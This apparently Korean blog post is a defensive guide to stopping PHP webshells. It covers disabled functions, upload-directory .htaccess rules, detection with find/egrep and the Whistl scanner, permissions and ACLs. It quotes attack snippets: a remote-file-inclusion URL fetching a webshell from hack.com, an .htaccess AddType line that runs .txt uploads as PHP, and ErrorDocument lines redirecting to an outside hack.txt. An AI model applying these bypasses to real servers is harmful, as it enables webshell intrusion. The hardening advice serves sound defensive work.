allow_url_fopen = On인 웹 페이지 취약점을 통해 다음과 같이 쉘권한을 얻을 수 있다.
http://www.test.com/Test.php -----------------> http://hack.com/webshell.txt
타킷서버의 Test.php에 취약점이 존재하는 경우 hack.com에 존재하는 webshell을 불러들여 쉘 권한을 획득 한 다음 내부 서버의 정보를 모으고 백도어를 설치하고 권한 상승을 노린다. 대표적으로 구 제로보드에서 많이 발생하고 있다.
웹쉘 실행 화면
이제부터 이러한 웹쉘에 대한 대응 방법에 대해 몇 가지 알아 보려고 한다.
우선 첫째로 당연한 것이겠지만 자신이 운영하고 있는 웹소스에서 보안 취약점을 제거해야 한다. 하지만 이것은 실제적으로 침해사고를 당하지 않는 한 탐지하기가 어려운 면이 있다. 특히 자신이 개발자가 아니고 단순히 운영만 하는 입장이라면 더욱 그렇다. 하지만 널리 알려진 웹 보안 취약점은 modsecurity 같은 무료 웹 방화벽으로 공격을 사전 차단 할 수 있을 뿐 아니라 차단 기능을 꺼 놓고 로그만 기록하게 해도 나중에 사고를 당했을시 로그 분석을 통해 원인을 찾는데 도움이 되므로 가능한 운영하는게 좋다. 공개 무료 웹방화벽 운영에 관한 자료는 정보보호진흥원에서 운영하는 다음 사이트에서 많은 도움을 받을 수 있다.
http://www.krcert.or.kr/firewall2/index.jsp
두번째는 필요없는 php 함수들은 사용 할 수 없게 하는 것도 하나의 방법이다. 설정은 php.ini에 다음과 같은 방법으로 할 수 있다.
대부분이 서버의 정보를 보여주는 설정들이다. 서비스에 별 필요 없는 기능들이고 서버에 어떠한 영향을 주는 함수들은 아니지만 해커에 의해 악용 될 수 있기 때문에 막아 놓은 것이 나을것이다.
disable_functions = php_uname, ini_set, getenv, get_user, phpversion, ini_get, ini_get_all, phpinfo, system, exec, passthru, escapeshellcmd, pcntl_exec, shell_exec
특히 주의할 점은 system, exec, passthru, escapeshellcmd, pcntl_exec, shell_exec 함수들은 서버상에서 운영체제 명령어를 실행 시키는 명령들이다. 일단 웹쉘이 업로드 되면 위의 함수들로 서버상에서 작업을 할 수 있으므로 막는게 좋으나 실제 운영되고 있는 홈페이지에서도 사용 할 수 있으므로 잘 알아 보고 필요한 함수는 빼고 설정 하는 것이 좋다.
세번째는 파일업로드 기능을 사용하지 않는다면 php.ini 에서 file_uploads 기능을 off 시키거나 파일 업로드를 한다면 업로드 디렉터리에 .htaccess을 사용해 업로드 되는 디렉터리에서는 php를 아예 사용 할 수 없게 하는 것이다.
파일을 업로드 시키는 디렉터리에 다음과 같이 .htaccess 파일을 작성하자.
<FilesMatch "\.(html|htm|php|pl|cgi|inc|lib)">
Order allow,deny
Deny from all
</FilesMatch>
해당 확장자로 끝나는 파일들은 접속이 금지된다.
이 방법은 해커가 웹쉘을 업로드 할 때도 사용 할 수 있다.
만약 php확장자를 가진 소스를 업로드 하지 못하게 했다면 해커는 다음과 같이 하여 확장자를 우회할 수 있다.
다음 내용을 가진 .htaccess파일을 업로드 시킨다.
AddType application/x-httpd-php .txt
이후 txt 파일은 모두 php로 인식한다. 해커는 웹쉘의 확장자를 txt파일로 변경하여 서버에 올리면 된다. 마찬가지 방법으로 다음과 같은 .htaccess 파일을 올려서 바이러스나 해킹툴을 설치하기도 한다.
ErrorDocument 403 http://www.hacktest.co.kr/hack.txt
ErrorDocument 404 http://www.hacktest.co.kr/hack.txt
이는 다음과 같은 명령어로 탐지가 가능하다.
find `locate .htaccess` -exec egrep -l -i ‘txt’ {} \; 2>/dev/null
find `locate .htaccess` -exec egrep -l –I ‘http://’ {} \; 2>/dev/null
그 다음으로 할 일은 서버에 업로드 된 웹쉘을 제거하는 일이다. 한국 정보보호진흥원에서 개발한 웹 쉘 탐지 프로그램 Whistl을 이용하여 서버에 업로드 된 웹쉘을 제거 할 수 있다. 이 프로그램은 리눅스는 물론 윈도우에서도 동작하고 정확성도 높기 때문에 웹쉘 탐지 및 제거에 매우 추천 할 만한 프로그램이다.
프로그램은 다음 사이트의 공지사항에서 신청서를 작성한 후 신청하면 사용 할 수 있다.
http://www.krcert.or.kr/index.jsp
사용방법은 상당히 직관적이고 쉬운편이다. 보내온 프로그램의 압축을 풀면 프로그램과 함께 설명서에 사용법이 적혀져 있다. 다음과 같이 간단히 사용 할 수 있다.
./whistl_kernel_2.6 –c
우선 자기 서버에 맞게 환경 설정을 해준다.
whistl Configuration
[1] Checking Directory : /home/sungon
[2]
[3] Extension of php : inc,php,php3,php4,php5,ph
[4] Extension of jsp : jsp,js
[s] save
[q] quit
1번 메뉴를 누르고 검사할 디렉터리를 지정해 준다. /home 폴더 전체를 지정해 줄 수도 있다.
Choose Menu : 1
Checking Directory :/var/www/html
[1] Checking Directory : /var/www/html
[2]
[3] Extension of php : inc,php,php3,php4,php5,ph
[4] Extension of jsp : jsp,js
[s] save
[q] quit
3번 메뉴을 누르고 검사할 파일의 확장자를 지정해 준다. txt확장자를 추가해 주었다.
Choose Menu : 3
Extension of php :inc,php,php3,php4,php5,ph,txt
[1] Checking Directory : /var/www/html
[2]
[3] Extension of php : inc,php,php3,php4,php5,ph,txt
[4] Extension of jsp : jsp,js
[s] save
[q] quit
Choose Menu : s
[1] Checking Directory : /var/www/html
[2]
[3] Extension of php : inc,php,php3,php4,php5,ph,txt
[4] Extension of jsp : jsp,js
[s] save
[q] quit
Choose Menu : q
다음과 같이 검사를 하면
./whistl_kernel_2.6
id : testid
pwd : password
Checking the configration
[Config] Checking directory : /var/www/html
[Config]
Checking the update status
[INFO] Pattern Update Finished
Checking /var/www/html directory
[5 Found] /var/www/html/test2.php
[18 Found] /var/www/html/test.txt
Check Result
[INFO] 2 Files checked
[INFO] 2 Suspected WebShell
[INFO] Time cost :
[INFO] Finish sending the checking result
웹쉘이 탐지되는 것을 알 수 있다. [5 Found] 나 [18 Found] 같은 숫자는 해당 파일에서 모두 5개의 웹쉘 패턴이 일치되었다는 것을 말한다. 5이상은 웹쉘이 거의 확실하지만 일치되는 패턴 숫자가 1이나 2이라면 정상적인 파일이 아닌지 확인해 봐야 한다. 경험상 1이나 2는 거의 정상적인 파일이고 패턴대응 숫자가 5이상이면 웹쉘이 확실하다고 보면 된다.
다만 아쉬운 점은 프로그램이 복수의 확장자를 지원하지 않는다는 사실이다. 아파치(apache)에서는 복수의 확장자를 지원하기 때문에 webshell.php.test 같은 확장자를 가진 프로그램도 모두 php로 인식한다. 때문에 확장자를 약간만 변경하면 탐지프로그램을 우회할 수 있다.
이 부분은 추후에 개선이 되야 할 사항 같다.
리눅스를 사용하는 경우에는 디렉터리나 파일의 퍼미션에도 신경을 써야 한다. 777 퍼미션이나 파일이나 디렉터리에 apache나 nobody로 소유권을 설정하는 것은 가능한 피해야 한다.
업로드 디렉터리나 세션이 저장되는 디렉터리에는 어쩔 수 없이 707 퍼미션을 주어야 겠지만 그 외의 디렉터리에는 701 퍼미션을 주고 파일에는 644 퍼미션을 준다. cgi같은 경우에는 755퍼미션을 주지 않으면 실행이 되지 않으므로 주의한다.
그외에도 /etc/cron.daily에 스크립트를 하나 만들어 다음과 같이 명령어에 제한을 걸어 슈퍼유저외에는 사용을 못하게 할 수도 있다.
#!/bin/sh
chmod 701 /
chmod 701 /home
cd /etc
chmod 600 fstab
chmod 600 hosts.*
chmod 600 modprobe.conf
chmod 600 sysctl.conf
chmod 600 redhat-release
cd /usr/bin
chmod 700 wget
chmod 700 lynx
chmod 700 curl
chmod 700 lwp-*
chmod GET
만약 사용되고 있는 서버가 여러 유저들이 모두 같이 사용하는 서버라서 명령어 제한이 자유롭지 못하다며 acl 기능을 사용해서 nobody권한의 유저만 제한을 걸 수 도 있다.
acl 기능은 다음과 같이 하면 사용 할 수 있다.
vi /etc/fstab
/dev/sda8 / ext3 defaults,acl 1 1
/dev/sda7 /usr ext3 defaults,acl 1 2
이렇게 acl을 옵션으로 붙여주고 다시 리마운트 한다.
mount -o remount /
mount -o remount /usr
다음과 같이 제한하고자 하는 명령어에 nobody유저만 접근이 안되게 한다.
setfacl -R -m u:nobody:- `which find`
setfacl -R -m u:nobody:- `which ls`
setfacl -R -m u:nobody:- `which chmod`
setfacl -R -m u:nobody:- `which echo`
setfacl -R -m u:nobody:- `which cat`
정책이 정확하게 적용이 되었는지 확인한다.
ls –al `which find`
-rwxr-xr-x+ 1 root root 52460 Oct 20 2004 /usr/bin/find
끝에 +가 붙어 있으면 acl기능이 작동을 하는 것이다. acl기능을 제거 하려고 하면 다음과 같이 하면 된다.
setfacl -b /usr/bin/find
이상으로 웹 해킹 서버에 대한 간단한 분석 방법과 서버에서의 웹쉘에 대한 대처 방법에 대해 마치려고 한다. 웹서버 보안은 하나의 보안 어플리케이션으로 모든 것을 완벽하게 막을 수는 없다. 가능한 알고 있는 모든 방법을 다 적용하여서 조금씩 보안 허점을 줄여 나가는 수밖에 없다. 또한 리눅스 같은 경우 반드시 방화벽 정책을 수립하여 운영함으로써 해커가 서버를 악의적으로 운영하거나 외부로 공격을 하지 못하게 해야 한다. 이에 관해서는 차후에 다루어 보도록 하겠다.
출처 : http://blog.blueweb.co.kr/
댓글